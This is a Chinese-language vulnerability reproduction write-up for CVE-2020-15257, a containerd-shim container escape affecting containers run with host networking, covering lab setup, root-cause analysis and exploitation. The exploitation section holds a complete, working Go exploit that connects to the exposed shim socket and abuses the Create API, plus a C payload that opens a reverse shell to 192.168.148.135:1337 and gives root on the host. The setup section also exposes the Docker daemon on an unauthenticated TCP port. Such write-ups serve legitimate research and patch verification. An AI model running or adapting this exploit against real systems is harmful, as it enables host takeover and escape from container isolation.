基础知识

容器一共有7个攻击面:Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。

Dockerd实际调用的是containerd的API接口,containerd是Dockerd和runc之间的一个中间交流组件,主要负责容器运行、镜像管理等。containerd向上为Dockerd提供了gRPC接口,使得Dockerd屏蔽下面的结构变化,确保原有接口向下兼容;向下,通过containerd-shim与runc结合创建及运行容器。

docker 的内部通信图:

OCI Bundle

OCI Bundle 是指满足OCI标准的一系列文件,这些文件包含了运行容器所需要的所有数据,它们存放在一个共同的目录,该目录包含以下两项:

(1)config.json:包含容器运行的配置数据

(2)container的root filesystem

环境搭建

漏洞复现环境搭建

host 环境:

osboxes@osboxes:~/study/vul/docker-15257$ uname -a
Linux osboxes 4.15.0-47-generic #50-Ubuntu SMP Wed Mar 13 10:44:52 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
osboxes@osboxes:~/study/vul/docker-15257$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.1 LTS
Release:    18.04
Codename:   bionic

(1)安装 18.09 版本的docker:

参考链接:https://bbs.huaweicloud.com/forum/thread-59673-1-1.html

wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar xvpf docker-18.09.0.tgz
sudo cp -p docker/* /usr/bin

配置docker.service文件 :

cat >/lib/systemd/system/docker.service <<EOF

[Unit] 
Description=Docker Application Container Engine 
Documentation=http://docs.docker.com 
After=network.target docker.socket 
[Service] 
Type=notify 
EnvironmentFile=-/run/flannel/docker 
WorkingDirectory=/usr/local/bin 
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
ExecReload=/bin/kill -s HUP $MAINPID 
# Having non-zero Limit*s causes performance problems due to accounting overhead 
# in the kernel. We recommend using cgroups to do container-local accounting. 
LimitNOFILE=infinity 
LimitNPROC=infinity 
LimitCORE=infinity 
# Uncomment TasksMax if your systemd version supports it. 
# Only systemd 226 and above support this version. 
#TasksMax=infinity 
TimeoutStartSec=0 
# set delegate yes so that systemd does not reset the cgroups of docker containers 
Delegate=yes 
# kill only the docker process, not all processes in the cgroup 
KillMode=process 
Restart=on-failure 
[Install] 
WantedBy=multi-user.target 
EOF

启动相关服务,输出Docker的状态:

systemctl daemon-reload
systemctl status docker
systemctl restart docker
systemctl status docker
systemctl enable docker

(2)安装1.3.7 版本的containerd

sudo apt install containerd.io=1.3.7-1

安装完后的版本信息为:

(3)安装go:

sudo apt install golang

(4)安装ubuntu docker 镜像:

sudo docker pull ubuntu:18.04

ubuntu docker 镜像拉取:

https://hub.docker.com/_/ubuntu?tab=tags&page=1&ordering=last_updated

(5)运行docker:

sudo docker run -ti --rm --network=host b205c8547463

(6)下载poc, 编译:

wget https://raw.githubusercontent.com/summershrimp/exploits-open/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/shim.pb.go

go mod init example.com/poc
go build .

(7)搭建环境中记录的命令:

export GO111MODULE=on
go mod init example.com/m

编译v1 版本还是v2 版本:

Example usage:
    'go mod init example.com/m' to initialize a v0 or v1 module
    'go mod init example.com/m/v2' to initialize a v2 module

https://blog.csdn.net/benben_2015/article/details/82227338

进入同一个docker:

sudo docker exec -it 17ca27eb15e1 sh

保存docker 修改:

sudo docker commit container_id  ubuntu-poc

安装特定版本的docker:

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"

安装指定版本的docker CE 列出版本,版本号从高到低
sudo apt-cache madison docker-ce

sudo apt-get install docker-ce=18.03.0~ce-0~ubuntu

解决sh: 1: Syntax error: Bad fd number 报错:

rm -f /bin/sh
ln -sf /bin/bash /bin/sh

漏洞分析

containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。

而中间的 containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd。

漏洞成因:docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字:

执行以下命令,可以获取containerd-shim 监听的 Unix 域套接字:

cat /proc/net/unix | grep 'containerd-shim' | grep '@'
0000000000000000: 00000002 00000000 00010000 0001 01 65874 @/containerd-shim/067284ce2b310632459fd11fd3bfa296670c2eacd7abfbadf07ddd6ea580f7d9.sock@
0000000000000000: 00000003 00000000 00000000 0001 03 66673 @/containerd-shim/067284ce2b310632459fd11fd3bfa296670c2eacd7abfbadf07ddd6ea580f7d9.sock@

@/containerd-shim/{sha256}.sock 这一类的抽象 Unix 域套接字,没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。攻击者可以通过操作containerd-shim API 进行逃逸。

可调用的api如下:

service Shim {
    // State returns shim and task state information.
    rpc State(StateRequest) returns (StateResponse);

    rpc Create(CreateTaskRequest) returns (CreateTaskResponse);

    rpc Start(StartRequest) returns (StartResponse);

    rpc Delete(google.protobuf.Empty) returns (DeleteResponse);

    rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

    rpc ListPids(ListPidsRequest) returns (ListPidsResponse);

    rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

    rpc Kill(KillRequest) returns (google.protobuf.Empty);

    rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);

    rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

    rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);

    // ShimInfo returns information about the shim.
    rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

    rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);

    rpc Wait(WaitRequest) returns (WaitResponse);
}

漏洞利用

利用containerd-shim Create API, 相当于执行runc create , 读取config.json 的配置,创建一个新容器。

rpc Create(CreateTaskRequest) returns (CreateTaskResponse);

CreateTaskRequeststdout参数,支持各种协议:

可以通过构造stdout 执行host上的二进制程序:

r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
        ID: docker_id,
        Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
        Runtime : "io.containerd.runtime.v1.linux",
        Stdin:  "anything",
        Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
        Stderr: "anything",
        Terminal : false,
        Checkpoint : "anything",
    })

所以我们在调用Create API前需要获取以下两个信息:

a、获取host上 docker的存储路径

root@osboxes:/# head -n 1 /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/LDRBK2BJC6VNVJIT3YWTX6KVVP:/var/lib/docker/overlay2/l/UZ4MNERQAY27L5SQHQF3QQ5LIQ:/var/lib/docker/overlay2/l/OMSEU276YHCMU7VZ77HDXMGHRL:/var/lib/docker/overlay2/l/SE23IRB2JDCIVNAZ7HCAVRXYMF:/var/lib/docker/overlay2/l/U57I52XHIDYPI7XUW6YYFRPQVE,upperdir=/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/diff,workdir=/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/work 0 0

b、获取docker id

root@osboxes:/# cat /proc/self/cgroup
12:perf_event:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
11:net_cls,net_prio:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
10:devices:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
9:pids:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
8:cpuset:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
7:cpu,cpuacct:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
6:blkio:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
5:memory:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
4:hugetlb:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
3:rdma:/
2:freezer:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
1:name=systemd:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
0::/system.slice/containerd.service

利用过程如下:

(1)编写nc代码并编译,放在docker的根目录下:

#include <stdio.h>
#include <stdlib.h>

int main()
{
        system("/bin/sh -i >& /dev/tcp/192.168.148.135/1337 0>&1");
        return 0;
}

(2)在docker 里面获取容器的存储目录,docker的根目录对应host上的路径为:

/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/merged

(3)利用shim的Create api 来调用(2)路径中存放的nc程序,就会执行nc连接到另一台机器192.168.148.135,反弹shell,得到host的root权限,完成虚拟机逃逸。

效果如下:

docker:

host:

另一台机器192.168.148.135:

需要注意的是:执行binary:///bin/sh?-c= 这样的IO进程,要求ttrpc 连接必须要有一个containerd 命名空间,可以通过以下代码绕过该检查:

md := ttrpc.MD{} 
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)

漏洞利用代码:

package main

import (
    "context"
    "errors"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"

    "github.com/containerd/ttrpc"
    shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)

func getDockerID() (string,  error) {
    re, err := regexp.Compile("pids:/docker/.*")
    if err != nil {
        return "", err
    }
    data, err := ioutil.ReadFile("/proc/self/cgroup")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return "", errors.New("Cannot find docker id")
    }

    tmp_docker_id := matches[0]
    docker_id := string(tmp_docker_id[13 : len(tmp_docker_id)])
    return docker_id, nil

}

func getMergedPath() (string,  error) {
    re, err := regexp.Compile("workdir=.*")
    if err != nil {
        return "", err
    }
    data, err := ioutil.ReadFile("/etc/mtab")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return "", errors.New("Cannot find merged path")
    }

    tmp_path := matches[0]
    path := string(tmp_path[8 : len(tmp_path)-8])
    merged := path + "merged/"
    return merged, nil

}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }

    return matches, nil
}


func exp(sock string, docker_id string, payload_path string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := shimapi.NewShimClient(client)

    ctx := context.Background()
    md := ttrpc.MD{} 
    md.Set("containerd-namespace-ttrpc", "notmoby")
    ctx = ttrpc.WithMetadata(ctx, md)

    /* // poc get shim pid
    info, err := shimClient.ShimInfo(ctx, &types.Empty{})
    if err != nil {
        log.Println("rpc error:", err)
        return false
    }

    log.Println("shim pid:", info.ShimPid)
    */

    r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
        ID: docker_id,
        Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
        Runtime : "io.containerd.runtime.v1.linux",
        Stdin:  "anything",
        //Stdout: "binary:///bin/sh?-c=cat%20/proc/self/status%20>/tmp/foobar",
        Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
        Stderr: "anything",
        Terminal : false,
        Checkpoint : "anything",
    })

    if err != nil {
            log.Println(err)
            return false
    }

    log.Println(r)
    return true
}

func main() {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()

    docker_id, err := getDockerID()
    log.Println("find docker id:", docker_id)

    merged_path, err := getMergedPath()
    log.Println("find path:", merged_path)

    if err != nil {
        log.Fatalln(err)
    }

    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname, docker_id, merged_path) {
            break
        }
    }

    return
}

参考链接

https://mp.weixin.qq.com/s/WmSaLPnG4o4Co1xRiYCOnQ

https://www.openwall.com/lists/oss-security/2020/11/30/6

https://medium.com/nttlabs/dont-use-host-network-namespace-f548aeeef575

https://github.com/Xyntax/CDK/wiki/Evaluate:-Net-Namespace

https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/

https://www.cnblogs.com/andy9468/p/11527226.html

Poc :https://github.com/summershrimp/exploits-open/tree/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257

安装特定版本的docker:https://www.cnblogs.com/it-tsz/p/12133508.html

https://download.docker.com/linux/static/stable/x86_64/

https://twitter.com/bestswngs/status/1334867563914915840

https://bestwing.me/CVE-2020-15257-anaylysis.html

https://mp.weixin.qq.com/s/8Zel4oPXdctUE1kotti8Yw

https://github.com/crosbymichael/dockercon-2016/blob/master/Creating%20Containerd.pdf

https://www.youtube.com/watch?v=xVVRA9rivB4&feature=youtu.be

https://blog.golang.org/protobuf-apiv2

利用分析:

https://research.nccgroup.com/2020/12/10/abstract-shimmer-cve-2020-15257-host-networking-is-root-equivalent-again/

https://www.cdxy.me/?p=837

点击收藏 | 3 关注 | 2 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖